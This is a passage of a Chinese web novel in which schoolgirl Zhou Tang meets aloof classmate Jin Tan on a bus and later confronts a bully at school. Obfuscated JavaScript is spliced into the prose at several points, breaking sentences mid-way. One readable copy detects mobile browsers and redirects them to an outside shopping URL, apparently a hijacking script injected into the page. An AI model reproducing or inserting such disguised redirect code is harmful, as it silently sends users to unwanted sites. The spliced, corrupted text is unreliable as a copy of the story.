同一时间,她要等的九号线公交车来了,此时站台前挤满了高一高二的校友。 周棠拎着奶茶排队上车,到刷卡的地方扫码,脚步随着队伍前进,不多时,前面的同学放慢行走速度直到停下来,后面的同学也心有灵犀地不再往前推搡。 车上已经没有座位了。 只能站着。 周棠转过身,看到头顶不停摇的圆形吊环,眼疾手快地想抓住,公交车启动,惯性晃得她东倒西歪。 脸差一点跌在竖起的吸管上。 差一点。 周棠的胳膊被身后传来的一道力量拉扯住,那力量顺势举起她的手臂,帮她触碰到吊环扶手才松开。 她后怕地紧握着。 站稳,她微微扭过头,对上靳谈漆黑的瞳仁。 他轻飘飘地抬眼,望着窗外。 周棠抿了抿唇,用只有他们俩可以听到的音量,小声说着:“谢谢。” 靳谈嗓子里磨出一声沙哑的“嗯”。 之后,他没再说话。 周棠安静地站了一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好疼啊。”周棠没忍住地抱怨嘀咕,手背揉了好几下还是不行。 这句话靳谈听得真切又清晰,他敛眸凝着她,神色寡淡到漠然,又觉得好笑似的,他轻哼出声。 “贼喊捉贼?” 周棠气不打一处来,音量也稍微提高,“我分明是想问你哪个站下车,我好心,我好心……帮你……” 她语无伦次的解释实在让人难以信服,靳谈侧头,俯身为她点明逻辑。 “你好像弄错了,是你撞到我。” “你先气什么?” “……”周棠无言。 又过了一站,途径陵和市中心区域,下车的乘客数量猛然增多,身后的大部分座位得以空出来。 靳谈在移动脚步之前问:“新湾需要到哪个站?” “新湾?”周棠有些忘记额头的疼。 靳谈:“嗯。” “哦,你说的是新湾臻水别墅区吧。”稍想几秒钟,周棠念出全称,指着左手边的站台列表,在上面点了点,“这个,宜途路站。” 靳谈将就地扯了扯唇,弧度乍看之下像是笑着的,说:“好,算你撞到我抵消。” 嗯? 强盗逻辑? “……”周棠又失声了。 公交车的广播适时响起:“花园路站到了,请准备下车的乘客从后门下车,开门请当心,请给有需要帮助的乘客让个座,谢谢。” 周棠这回学乖了,谨慎地等车停稳,才挪到后门。一下车,清新的空气扑面而来。 心情好些了,她沿路走着。 公交车再次启动,靳谈找到靠近车窗边的位置坐下,明亮的眸光映在窗外。因而,他看见她回家的路有一段与公交车同行。 她鼓着两腮,喝光了最后一口饮料,在路过垃圾桶时扔进去,脚步轻快,黑发柔柔地散落在肩头,随风荡漾,带着点初夏特有的肆意明媚。 ** 后来过去许多年,心理医生问他:“靳谈,你可以和我分享一个生命中印象深刻的场景吗?” 深刻到无法忘记的场景。 继而闭上眼,记忆深处,抽丝剥茧。 他慢慢地回想起今天。 陵和初夏的夜里,晚风不燥不凉,少女穿过嫩绿色的枝桠,身形轻盈地向前奔跑。 夏天正崭新,而她是热烈的,闪耀的。 像一丛即将绽放的玫瑰花,明艳灼目,同时每一瓣又氲着凉意,沁人心脾,抚平世间好多浮躁。 他也在那时以为。 那是他第一次遇见她。 5. 篮球场 周棠回到铭嘉苑,坐电梯上楼,开灯,在门口换上拖鞋,屋子里再没有别人,只有厨房飘来一点点前几天妈妈给她炖的卤牛腩的鲜香味道。 走进卫生间,周棠对着镜子仔细看,额头那块的红肿未褪去,她用指尖轻碰了一下边缘,微微痛,找来生理盐水,倒出几毫升简单擦拭。 最后拿冰袋敷了一会儿,收拾完,她才发现随手绑的丸子头不知道什么时候散开了。 哦,是发绳弄丢了。 周棠在梳头发,心里轻轻惋惜,她还挺喜欢那个头绳上面素色的小鱼坠子的。 半个小时后,浴室热气蒸腾,周棠穿着丝绸质感的细吊带睡裙推开门,绕路去妈妈房间拿美白面膜,撕开贴好,接着她躺回床上拨通电话。 听筒里响起一声清甜的问句。 “我的棠棠宝贝,怎么了?” “没有事哇,我查查岗。”白皙笔直的双腿蜷在胸前,脚尖俏皮地勾了勾,周棠扬唇笑起来,软软糯糯的声线,“亲爱的司小姐,你晚餐吃了什么好吃的?” “酒店提供的意面我不太喜欢,刚从外面吃完叉烧拉面回来。”司随安靠坐在沙发上休息,想起什么,又问她:“今天你回来这么早,逃课啦?” 周棠摇摇头,和妈妈撒娇。 “没有,周二有游泳课的,你是不是忘了,这一趟差出的,回来司小姐还能记得爱我吗?” 司随安轻笑,表示抱歉。 她很吃女儿这一套,嗓音宠溺,“那这趟回国给你带什么,典藏版画笔还是设计类杂志?” “都不要。”周棠嘟着嘴说。 司随安好奇道:“都不要?” “对。”周棠确定地说:“你要是有时间去逛街,就帮我买几根头绳吧,我喜欢的那个今天不小心丢了。” 她欣然答应:“好,可以。” 通话结束前,司随安没忘记叮嘱她。 “你一个人要照顾好自己,等我下周回家,记得还我一个完好无损的周棠,好吗?” “我照顾自己你还不放心的嘛。行行,你快点休息啊,别把工作太当回事,什么都拼命,我肯定亏待不了我自己,心收在肚子里吧,妈妈。” 说完,周棠按了挂断键。 她坐起来,下床穿好鞋,撕掉面膜扔进篓里,到卫生间打开水龙头,用清水洗脸。 额头那块红肿有明显消退的迹象了,她抽出一张洗脸巾,擦干脸上残余的水珠。 接着,她朝着客厅的方向走去。 阳台的装修是法式双开门,推开后,她掖着裙摆蹲在地上,面前是移栽在白色陶瓷大盆里的龟背竹,打顶没多长时间,现在已经冒出了嫩生生的新叶和新芽。 这一盆麒麟尾她养了有七八年。 周棠静静地看着,蓬勃的生命力悄无声息地从叶尖、脉络中向外面的世界蔓延开来。 经年累月。 她以为本该遗忘的事情仍然悄悄藏在心底。 小时候,周棠只觉得父亲很爱伺候他那一屋子的绿色植物,茂盛小巧的,贵重便宜的。 每一个他都能叫得上名字,时常絮絮叨叨地讲起:这盆紫罗兰最近不需要浇太多水,那盆秋海棠要尽量照些散射光,千万不能暴晒。 再后来她初中毕业,父母面对面坐在沙发上,心平气和,甚至是出离冷静地向她坦白:双方已经决定好了要分开,并且在走离婚程序和询问她的归属问题。 那时,周棠恍然大悟。 为什么每次妈妈在厨房煮饭,精心拍照分享美食,爸爸都会在一旁侍弄植物,仔细浇水照顾。为什么妈妈在家里休息几日,爸爸总是恰好需要熬夜加班。 为什么明明是旁人艳羡的美好家庭,慢慢演变成了貌合神离,最后不得已分道扬镳的陌生处境。 原来其实根本没有变过,是她一直在他们俩营造出来的幸福日子里生活,学习和成长。 他们之间。 似乎是无关爱情的。 直到妈妈忍无可忍,拿着扫把想要打翻盆栽,爸爸怒火中烧,连夜带着所有的植物搬离。 只有一盆不慎被丢在角落里的小盼菩提,以及因花盆碎裂,根系彻底裸露在外的龟背竹。 小盼菩提终究没有活下来。 龟背竹也救了很久,就在周棠快要放弃的时候,它奇迹般地生根发芽,长势愈发旺盛起来。 而她。 连续抽疼两周的胃也减轻了症状。 司随安度过了几天以泪洗面的日子,在被住院部医生告知如果周棠的胃痛持续发作,则需要预约后续的手术治疗时,她总算有点儿清醒过来。 作为母亲,她勇敢强大,平复好心神,带着周棠搬家,转学,回到自己曾经生活的地方。 最熟悉,也是最想念的地方——周棠外公和外婆曾经居住过的城市。 陵和市。 ** 转眼到周五早晨。 教室的透明玻璃把天空分割成规矩的长方形,窗外的阳光浇满梧桐树叶,光点周围是渐浓的绿意。 梢头停留的那只灰白毛杂色的小鸟被窗内的读书声惊得扑棱棱飞起。 自习课刚结束,周棠记完古诗翻译的最后一句,合上语文课本,笔还没放下。 纪桑南就在抽屉里窸窸窣窣地翻找,然后献宝似地递来一盒卡通图案的草莓牛奶。 包装印刷的是日文。 这款微甜,喝起来口感细腻。 周棠明确地拒绝了纪桑南三天。 她也雷打不动地带了三天,话说得有理有据,“游泳馆那天你帮了我,我又觉得你长得很好看,所以你可以接受,你也应该接受,不要有压力。” 周棠抽空扭头看了她一眼,无话说,她还是头回见到有人上赶着,颇有点儿要涌泉相报的意思。 她并不反感,只是觉得挺好玩的。 这小女孩性子看起来软绵绵的,好欺负的样子,平时在班级里存在感也不强,谁知道没来由地执拗起来,蛮倔强的,像只难搞的小驴儿。 纪桑南推了推牛奶盒,准备以退为进。 “就算你日复一日地说不需要,谢谢,我也不觉得那些就是你的心里话,你不是那样的人。每天在班级里装作什么都不在意,只是为了逃避那些青春期变恶心的男生,但你的性格绝对和冷酷不沾边。” “对吧,周棠同学。” 她说完,语气里还保持着一种“我猜到你了的”欣喜,认真的聪明劲儿让她看起来更可爱了。 周棠耐心地听完她的话,草莓牛奶不要还是不要,转过身,兀自趴在桌面上养精蓄锐。 下节课是她听到名字就会犯困的恐怖地理课,一想起来,脑子里都是地球自转,昼夜交替的知识点。 她也快要作息反复了。 眼看周棠不打算接受她的牛奶,纪桑南深呼一口气,仿佛做了很大的决定般。 她凑近周棠的耳朵,轻声说着:“周二我换完校服以后走的是南门,我那天晚上看到你了。” -南门怎么了? -很多同学回家都走南门,巧合遇到是常有的事。 方正字体排排队地清晰浮现,周棠的脑海里自动回复了她这么两句。 纪桑南盯着周棠校服领口若隐若现的白皙脖颈,直言不讳道:“你是不是认识靳谈?” “那你们什么时候认识的?” 周棠肩膀动了下,睁开眼,用反问句否认,“陵高有人不认识他?你不是也认识他?” “我和他又不熟,但我那天怎么看到你们俩很熟的样子?”纪桑南托着腮,认真思考。 周棠看出纪桑南已经在浮想联翩,本着熄灭火苗的意思,直接回答:“的确不熟,你别脑补。” 哪里能看出来熟? 他分明是路痴且与她锱铢必较。 “原来不熟吗?”纪桑南语气弱下去,也有点儿怀疑自己,然后话锋一转。 “靳谈他这个人好像……挺好的,那天他还主动帮了我,要不是有他在,孙其浩应该不会轻易离开。” 周棠胸腔颤了一下,冷眼望过去,犀利道破,“纪桑南,你能别单纯了吗?你应该想想他当众为你出头,惹怒了很不好惹的孙其浩,这后果得让谁来承担。” “你觉得这个人会是他吗?” 她边说,边换了个姿势重新趴着。 纪桑南沉默了,心虚地回望孙其浩所坐的位置,听班主任说他请了几天假,理由是家里有事,所以最近一直都没来上课,再加上游泳教练也答应给她一个补考的资格,她就天真地以为这件事情已经算是过去了。 “那你不是也帮了我?”纪桑南没那么笨,抓住一点她话里的逻辑漏洞,继续说。 周棠:“嗯,所以我后悔了呀,那天游泳馆算我多管闲事,现在你要与我划清界限,我不想多惹事。” 纪桑南轻轻“哦”了一声,忽然觉得有些委屈,鼻头乍酸,眼泪要流出来,连同嗓音都变调。 “周棠,其实那天我和孙其浩起冲突,是因为他们几个人……在说你。” “他们说什么?”周棠浑不在意地问。 “说……说你……” 那些大多是难以重述的恶言,纪桑南实在不好意思开口,最后只得闷闷地摇头。 周棠被她弄得睡意全无,坐起来,环抱手臂,姿态像是无可奈何,“他们说什么都是他们的事情,你不要听,也不用为我出头,我不需要。” 可能是末尾那句“我不需要”伤害到了纪桑南脆弱的心脏,她眉眼迅速耷拉下来,软乎乎地说一句。 “嗯。” 周棠面对着纪桑南,因此她失落的表情尽收眼底。 顿了顿,周棠顺手拿过桌上的草莓牛奶,拆开包装,插好吸管,再到放进嘴里,几个动作一气呵成。 她吸了一口,瞬间,草莓的清甜裹着奶香味卷在舌尖味蕾上,她喝出一点粉红夏日的氛围。 周棠品尝完,对纪桑南说:“这次谢谢,但是你不需要为了谁贸然出头,不是每一次我都会在,也不是每一次你都能当我同桌。” 不会有人每一次都恰好帮你,帮别人之前要掂量自己,毫无锋芒和底线的善良与愚蠢无异。 心情如同坐过山车,纪桑南明白了周棠的言外之意,想通后又按捺不住地激动,点点头宣称,“那我再想办法努力一下,争取月考再进步多一点。” 五班的班主任是许逢滢,在班级管理上一直秉持着优先策略——考试优秀的同学可以先选座位,下一次再根据排名高低进行更换。 纪桑南说:“周棠,你给我留一个同桌的位置吧。” 周棠没回她,一口气吸光所有牛奶,吸管发出了空底的声音,空盒子被放到旁边。 纪桑南想说明天再给她带,看着她的神情,到嘴边的话又憋了回去。 午饭是在学校食堂吃的,陵高对学生的用餐不做硬性要求,可以外出就餐或者选择物美价廉的食堂。 是因为校门口开的几家店大多数是老店,算上来和陵高合作了许多年,偶尔还会有店里的老板炫耀某一届的陵和状元也在他们家吃过饭。 噱头足,收益高了。 卫生状况自然不用担心。 周棠刚嚼完最后半口蛋炒饭,端着盘子要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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也有人更偏爱靳谈这种不经意间透露出来的淡淡的书香气质,在午后的光阴中最是缱绻勾人。 果不其然,刚给邵弋青送水的女生身边又走过去一个短发女生,她踩着棕色长靴,手里握着薄薄的一层信封,封面是浅蓝色,贴的水晶画在光照之下绚烂极了。 她目标明确,越过前面的邵弋青,径直走向靳谈,在他膝盖半步远的位置站好,目光深深地落在他侧颊,眼睛里是少女明恋的炽热。 她把手里的东西送出去。 “靳谈学长,你可以收信吗?” 这音量刚刚好,活泼的嗓音在头顶响起。 靳谈听到了,漫不经心地抬抬眼,眼神却看向邵弋青,一场有点儿悠久的无声相对。 邵弋青看不过他,输了几秒,不自然地摸了摸鼻尖。 靳谈的意思他别太懂。 是怪他把人招来。 靳谈移开眼,对女生说:“不好意思,我不收信。” 起初,短发女生还没察觉到有哪里不对劲,在听到他的答话后,心里复腾起一点希冀。 他只说了不收信,没说不收别的。 “也不收水。”靳谈直截了当地打断她的幻想,下巴微扬,又说:“不过你们邵学长倒是可以收,你们有什么东西都送他吧。” 女生眼中庆幸的光芒熄灭,终于感知到真心错付,脸上露出一点自尊心没被平等对待的窘迫,她攥紧信封,很快消失在视野中。 热闹看够了,周棠抬脚要走。 这时,纪桑南忽然走上前,旁敲侧击地问她:“周棠,你确定你们俩不认识?” “不认识。” 事实如此,她坦然。 下午,一到大课间,广播里准时响起同学们今日的点播歌曲和各种正能量的投稿。 喇叭里先是滋滋啦啦的一阵动静,几秒后歌曲婉转的声音环绕在耳边。 “想问可不可以/未经同意/偷偷形容你” “温柔天宇/神秘海底/都是你” …… “谁选的歌啊,你不觉得这太肉麻了吗?”隔壁两个女生在讨论究竟是哪个品味差的人乱选歌。 另一个倚着墙的女生参与进来,“我倒觉得还行,也没有很差吧,听起来就像暗恋,太正常了,借着歌声表明心意。” “投稿了什么事?” “中午那件事呗,篮球队的邵弋青和一班的靳谈在操场收了女生送来的水,表白信好像没收。” “不是听说被拒绝了嘛。” “那也抵挡不住其他女生们乌泱泱地扑上去,拒绝了这个也没拒绝那个,他俩那张脸,收什么都够了。” 周棠在卫生间外面的水龙头下洗手,洗手液的泡沫搓着掌心,冲干净后想转身回班,刚走两步就撞上另外一边从男厕所出来的人。 那几个女生背对着走廊,没注意到身后发生的事,讨论声还在继续,同时,喇叭里响起广播组女生清润的甜嗓,“他是阳光下生长的少年。” 只有周棠到嘴边的“抱歉”戛然而止,看到面无表情的靳谈,他白色衬衫前还印着她手上的水渍。 凌乱几下,像白纸上沾到的墨点。 “不好意思,我没看……”周棠想解释自己不是故意的,又担忧多此一举。 她这边还在犹豫该怎么更好地解决,那边靳谈已经匆匆走远,连眼神都没抬一下,甚至不知道撞到他的人是谁。周棠甩了甩手心的水,不以为意地耸耸肩。 早就和纪桑南说吧。 他们根本不认识。 6. 期末周 青春大多数时候是由无关痛痒的小事组成的,并不全是轰轰烈烈的大事。生活其实普通又平淡,今天多云明天晴。日子像倒置的沙漏一样,在每周必备的小测验中慢慢度过、流逝。 课桌上是堆砌如山的各科模拟卷。 窗外绿树成荫,寂静处间歇听到的几声蝉鸣预示着陵和的盛夏即将到来。 同样来临的还有期末考试复习。 这场考试说重要也不重要,但作为迈入高二的序幕,也算是一个比较关键的节点。 许逢滢还是十分负责任地在班级里强调。 “众所周知,我们陵高的管理较为宽松,不像二中等其他学校那么严格。” “但是如果这次成绩单发下来,分数非常不尽如人意的话,我也不介意来当这个坏人,向领导申请九月份开学前的地狱补课,起码一周!” 顿时,班上响起此起彼伏的抗议声。 不过没什么用。 因为许逢滢刚说完,就打开了电脑里的文档,班级同学们的名字按照一定顺序排列好。 她让所有人主动到讲台前确认考试目标,精确到各科分数和年级排名。 已经过去了两周的时间,周棠不再像一开始那么疏离话少,纪桑南也能和她聊上几句。 她看了眼表格,在草稿纸上哼哧哼哧地列竖式,计算出分数总和,扭头问:“周棠,你觉得年级前一百大概需要多少分啊?” 周棠答:“分数水涨船高,你得问他们前面的人这次想考多少分。” 听到这话,纪桑南幽幽地叹口气,“哎不管了,我随便写啦,反正是目标嘛,设置高一点也没有关系的,说不定许老师还会夸我志向远大。” “难道你就是动漫中描写的逻辑鬼才!” 周棠干笑两声,把自己上次周测计算的各科分数情况表拿出来,放到纪桑南眼前,提醒道:“你可以按这个分数大概估算一下,误差会小。” “好吧,谢谢,还好有你。” 纪桑南快速算完,轮到她的时候,她走上台,敲击电脑键盘输入整合好的目标分数。 讲台前面的位置有小一块台阶,要比教室地面的高度多出一点。 纪桑南弄完走下来,会经过桌椅两边的过道。 她匀速走着,没低头看,突然感觉脚踝那里被什么东西拦了一下,她整个人开始重心不稳地往前扑,挣扎几下,先落地的变成裙摆下方的膝盖。 “咚——” 一道闷响。 尖锐的疼痛从骨头那里传来,大脑一时无法思考前因是什么,只知道身上好多处地方蔓延开滞重的疼,还有掌心也窜过火辣辣的刺痛。 纪桑南摔得有些厉害,周棠第一时间蹲下身去搀扶她的胳膊,好半晌,她才找到支点,艰难地爬起来。 站稳后,她抬头望着周棠,眼睛像小兔子那样红,嘴角也委屈巴巴地耷拉着。 纪桑南说不出话,一言不发地坐回到自己的位置上。 周围还有好事的同学在侧目打量,刚刚的始作俑者却连声道歉都没说出口。 纪桑南的头迅速低下去,紧紧贴着桌面趴着。 几秒钟过去,周棠看到她用双手捂住脸,肩膀小弧度地颤了颤,同时耳边传来细细的呜咽。 抽泣的声音轻得像一只奶猫,不靠近都难以发现。 很快,下课铃响。 纪桑南保持着这个姿势没有动弹,周棠从她座椅后面的缝隙里挤出去,走的时候顺手带上了她放在书桌侧边的保温杯。 三四分钟的样子,周棠回来了,她把保温杯拧开,在杯盖里面到了一半的热水,放温后递到纪桑南手边。 纪桑南仍然保持着把自己埋起来的姿势,不抬头也不接水。 内耗的鹌鹑也不过如此。 周棠盯着她侧颊被眼泪沾湿的发丝。 黏答答的,毫无形象可言。 周棠的声音变得凉凉的,对她说:“多喝点水,不然再哭不出来。” “……周棠。” 纪桑南的脑袋露出来一半,额头被手臂压着的地方印出了红痕,她皱着眉,似乎更委屈了。 她嘴角向下,嘟囔着:“你一点都不会安慰人。” “那是因为从这事情发生的一开始,你的逻辑便不对了。”周棠回她。 以周棠的性格,她并不觉得遭遇这种倒霉的事情只能依靠哭一顿来发泄,既憋屈还不能够更快地解决问题。如果换做是她,她会先从地上爬起来,扭过头去询问究竟是哪位不长眼的绊倒她,还那么没礼貌,连道歉也没被父母教过吗? “你应该学会反击,而不是躲在这里哭,纪桑南,是因为你这么好欺负,所以才会被欺负。” 学生时代的恶意简单又直白,善良者越是退让,越会亲手给别人递去一把肆意伤害自己的利刃。 道理平平无奇,在这件事情真正发生之前,周棠就已经明白了。 她也知道有些人并非天性懦弱,只是太容易站在对方的立场上去考虑问题,以致于光是迈出那一步就足够艰难了,遑论主动反击。 积蓄勇气也是需要鼓励和时间的。 意料之中的,纪桑南听完后垂下眼,摇摇头低声说出真实想法:“我不敢的。” “我知道,但是你不能一直任由他们这样。” 说着,周棠拎起刚拧开但没有顺便盖好的水杯,里面还剩下半杯冒着热气的水。 纪桑南没有转过弯,眨巴两下眼睛,嘴张得圆圆的,迟钝地“啊”了声。 没等她反应过来周棠现在想要做什么事时,周棠已经直接绕过同侧的两排椅子,抬脚上前,看准距离和位置,开始倒扣水杯。 “哗啦——” 水倒完的空档,周棠的眉眼云淡风轻地扫过去,她一言不发,却气场凛然。 热水从杯口倾泻而下,淋湿了桌面上那一沓厚厚的复习试卷,也迸溅到坐在桌子前的同学手上,手背更是激起一片烫红,随之到来的是女生刺耳的尖叫声。 她淑女形象全无,腾起离座,骂道:“周棠,你是不是疯了!我惹你了嘛!” 周棠扯着唇角,发出哂笑,语气过于平稳甚至到了无动于衷的地步,她说:“没有。” “我要去告诉许老师,别以为你们家以前住在陵和,就妄想能在陵高为所欲为!我必须得问问是谁给你的特权在学校里欺负同学?” 女生拔高音量,向前想撞开她走向班级门。 周棠微微侧开身,主动给她让出一条路。 “你没惹我,同样的,纪桑南也没惹你。” 周棠收回倒完水的杯子,继续说:“你记清楚,是孙其浩先在背后议论我。” 女生被毫不留情面地戳穿,脾气爆炸,试图通过声量的高低来吸引全部同学的注意力。 “我和孙其浩根本就不熟,你自己去问啊,班级里谁见过我和他走得近了?” “你凭什么往我身上泼脏水?” 忽地,数道目光齐齐地聚过来。 周棠连手都没抖一下,她不疾不徐地说:“我没有说你认识孙其浩,也没有说你和孙其浩相熟,因为和你谈恋爱的人不是孙其浩,是那天站在他旁边的林子坤,对吗?谷今璇同学。” 尾音落到末尾,周棠刻意加重了她名字的发音,一字一顿挑明。 虽然在陵高谈恋爱的人比比皆是,但不少同学还是传统的主攻各科学习的考试型选手。 这种事情暗地里能够在小团体间玩得开,摆在明面上只会变成尴尬又幼稚的过家家行为。 谷今璇气得胸脯一鼓一鼓的,早起耳边喷过定型喷雾的那一缕碎发都要竖起来。 和周棠对峙几秒,最后恨恨推开她,头也不回地离开班级。 周棠没有被负面的激动情绪左右,也没有觉得这口气出得有多么的爽,相反,她叹了口气,其实有点儿不希望事情发展到如今这个地步。 但是当真的发生时。 她相信自己也有能力去面对。 周棠拿好水杯转身,承受着班级后面大范围投过来的探究的目光。 回到座位上,纪桑南看着她,眼神流露出的情绪是有些不知道应该说什么的意思。 可想起周棠毕竟是为了她出头,才间接得罪的谷今璇。 她揉了揉哭得酸胀的眼眶,怯怯地说:“周棠,对不起。” “道哪门子的歉?” “我……”纪桑南想解释,被周棠打断。 她说:“这次扯平了,成吗?游泳馆那天你帮我说了话,今天我也帮你找了回来。” “所以,你别再——” 纪桑南受惊了一样,脖子伸过来,急得抬手捂着周棠的嘴不想让她再接着说话,神色明显慌张。 “你是不是想说,从今天开始,你要和我划清界限了,周棠。” 闻言,周棠笑了下,轻轻用手碰掉纪桑南的掌心。 “你又想多了,我是要说你不用再和我说对不起了。” “哦这样啊。” 纪桑南战战兢兢地收回手,感觉满意了,脑袋靠过来,倒在周棠的肩膀上。 她嘴里不忘称赞道:“周棠,你真好。” 接下来的两节课是物理和化学的复习课,两位老师在讲台上帮助同学们做最终版本的思维导图梳理,整节课讲下来,老师们慷慨激昂,就是不知道下面的同学们究竟能掌握多少。 周棠在笔记本上分区记笔记,划分的依据大致是擅长的和需要巩固背诵的,以及还没有理解的问题内容。 物理公式写到一半,周棠抬头看了眼前面谷今璇的位置,她从出去后就没再回来。 午餐休息,谷今璇还是没有出现。 中途只有许逢滢在第三节英语课的时候到班级里来问了谷今璇的情况,同学们晃着脑袋表示不清楚,她又抱着电脑匆匆离开。 最后一个课间,许逢滢派了隔壁班的语文课代表过来传话,女生敲了敲前座的第一扇玻璃。 靠近的那位同学拉开窗户。 课代表唇瓣微动,音色泠泠如泉,“帮我叫一下你们班的周棠,许老师找她。” “现在吗?” “不是,许老师说是放学后在办公室等她。” 说话的音量不低,话传到周棠这里,话意已经变了味,变成了许老师知道了周棠上午课间对谷今璇做的事,准备喊她到办公室里兴师问罪。 前排有几个人偷听完就在讲小话。 纪桑南为周棠打抱不平,她自己反而不太在意,压住纪桑南要起身的动作。 “别节外生枝,不关他们的事儿。” “等课结束,我陪你一起去吧,我向许老师讲清缘由,本来是和你没关系的。”纪桑南有些焦虑,一个劲儿地搓着手指头。 周棠瞧见她这样,“算了吧,你先回家,明天告诉你结果,行吗?” 拉扯几个来回,纪桑南终于被劝住。 五点多,铃声准时打响,各个楼层的同学鱼贯而出。周棠装好书包,在教室门口和纪桑南分道扬镳。 教师办公室在对面的那幢楼,陵和的教学楼大多是这种布局。 绕过中央的天井,一层是阶梯教室,用来给参加省里比赛的同学使用,顶层是课后活动的排练室。 再往下一层,是教导主任在教学区的办公室,其余楼层分别是班主任和任课老师的集中办公室。 许逢滢教学经验丰富,带过好多届高三毕业班,每次又都会回过去重新从高一带起。 她负责语文科目的教学,获得过许多校级、省级的表彰以及全国优秀教师的奖项。 现在主带两个班,是四班的代课老师。 被派来通知周棠的女生就是四班的语文课代表。 叶楚宜。 名字听起来很熟悉,校内的作文典范报纸正面经常会出现她。 以铅字印刷的形式。 周棠还是在上次的测验之后,才把这个名字和她的脸对上号的。 叶楚宜通常有一股优等生的气质,头发扎起来,柔顺的发丝与白净的皮肤相得益彰。 她走路时脊背挺直,活脱脱一棵四季轮换却永不改变的小白杨树。 亭亭玉立的身姿,美当然是美的,只不过总带着点旁人望而却步的疏离感。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992790|193798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 办公室门外响起了两三下敲门声,门内坐着的许逢滢应了句:“进来。” 周棠推开门,走过去站在办公桌半米远的位置,余光注意到后边还有一位别班的老师。 许逢滢没开口,手里握着红笔正在批改试卷,周棠也没主动问什么。 一时之间,办公室安静到只有笔尖戳在纸面上的沙沙声。 几分钟过去,那位老师拎起棕色小皮包,路过的时候和许逢滢说了声再见。 许逢滢抬起眼回应她,然后放下笔,看着站在面前的周棠。 许逢滢翘起腿,环抱着手臂,语气严肃道:“来,说说吧,你们几个之间发生什么事了?一五一十地全部告诉我。” “不是我。” 周棠解释这么一句。 许逢滢推了推鼻梁上的眼镜,“那我换一种方式问你,谷今璇没来上课的事情和你有没有关系?” 周棠说:“有。” “那就行了。” 许逢滢重重拍了两下桌子,“周棠,你现在最要紧的事情是什么,你真的清楚吗?” “我根本没有和他们搅和在一起。”周棠把事情摊开讲,“游泳馆那天……” 许逢滢没给她机会说,“那天的事情我全部都知道了,我了解错肯定是不在你,我只是不愿意你参与进去,换句话说,你的成绩我很看好。” “我作为班主任,更是作为你外婆的学生,我想提醒你,我不希望他们的任何动作影响到你。” 周棠低下头,沉默了一会儿,轻声辩解:“可是我不认为错的人是我。” 许逢滢见她倔强劲上来,拿起红笔,挥了挥手,走之前让她晚上回去好好反思一下。 周棠转身出去,办公室的门再次被关上,许逢滢改试卷的手停了,解锁手机拨通了某个号码。 大约半个多小时这通电话才结束。 教学楼外的天色暗了几分,晚风凉凉的,周棠心里有些躁意。 她背着书包走下楼梯,经过高一年级的荣誉榜,里面用红色的A4纸张贴着好几位同学的捷报。 周棠垂着眼睛,视线一下子就落到了物理竞赛的特等奖上,那里有一张一寸的证件照。 证件照下面两行写着的是她的名字。 高一(5)班,周棠。 人生宣言: 向邓美琼女士学习,拥有坚韧的力量。 陵高校图书馆的走廊两边挂着邓美琼的照片,寥寥数语介绍了她的生平与伟大贡献。 周棠卧室的床头柜上也摆放了一个相框,上面是她和邓美琼女士的合照。 照片里,邓美琼女士还算年轻,她的笑容总是温婉雅致,她亲切地揽着周棠的肩膀。 朝暮更迭。 如今她变成了相册本里小小的一页。 周棠想起外婆,自然也想起了自己的名字,“四海应无蜀海棠,一时开处一城香。”的“棠”。 外婆那本皮革封面的日记本里是这么记录的: 蜀中海棠的独特与盛放之态,气象恢宏,景致视野开阔,无纤柔之意,尽显大气之美。 2002年2月18日出生,今取名为棠。 是我送给她的第一份礼物。 陷入过去翻涌的回忆,周棠久久地伫立在那儿,直到身后响起有些耳熟的说话声音,在还没确认是谁的时候,她已经下意识地扭头看了过去。 教学楼一层。 邵弋青左手拿着校服外套,踮脚跳起来,胳膊搭在靳谈的肩头,舌抵了下腮边,正揶揄他。 “真行啊,怎么又有初中部的学妹过来给你送东西,她们好像更喜欢你这款欸?” “下次你再用学生卡刷门禁赚钱,我和你之间就到此为止,绝交。” 靳谈闲散地笑了声,说出口的语句平铺直叙,偏偏语调带着几分漫不经心的凉薄。 邵弋青尴尬地舔着唇,意识到自己玩砸了,胳膊从他身上拿下来,主动坦白道:“最后一次,今天过去就再没有了,我这也是看人家学妹求我那么多天,何况拿人手短,我才勉强答应的啊。” “没办法,就是太善良了我。”说着,邵弋青脸上做出非常惋惜的表情。 靳谈迈步向前走,视线斜过去瞥他一眼,喉结上下滑动,吐出一个字:“滚。” 他们两个人并肩而行,快要走到小路尽头,刚准备拐弯,邵弋青抬眼注意到了站在荣誉榜旁边的周棠。 天边晚霞的光芒暂未烧尽,他眯了一下眼,感觉这女生有那么点儿熟悉。 不过他没想起来在哪里见过。 脚步走过分岔路口,邵弋青眉梢忽然一挑,他想起来了,那天在篮球场,他往人群中扫过几圈。 她当时肯定也在里面。 “哎,我说刚才路过的那女孩长得还挺漂亮的,怎么以前没见过几次,也不知道她是几班的?” “靳谈,娇滴滴的小学妹你不喜欢,那,那种类型的呢?你有感觉吗?” 邵弋青边说边转过脚尖,吊儿郎当地倒着走,与靳谈面对面,眸光却落在刚经过的路口没有移开。 他高中上学期开学到现在还没有恋过爱,但对长得漂亮的女生向来有过目不忘的本领。 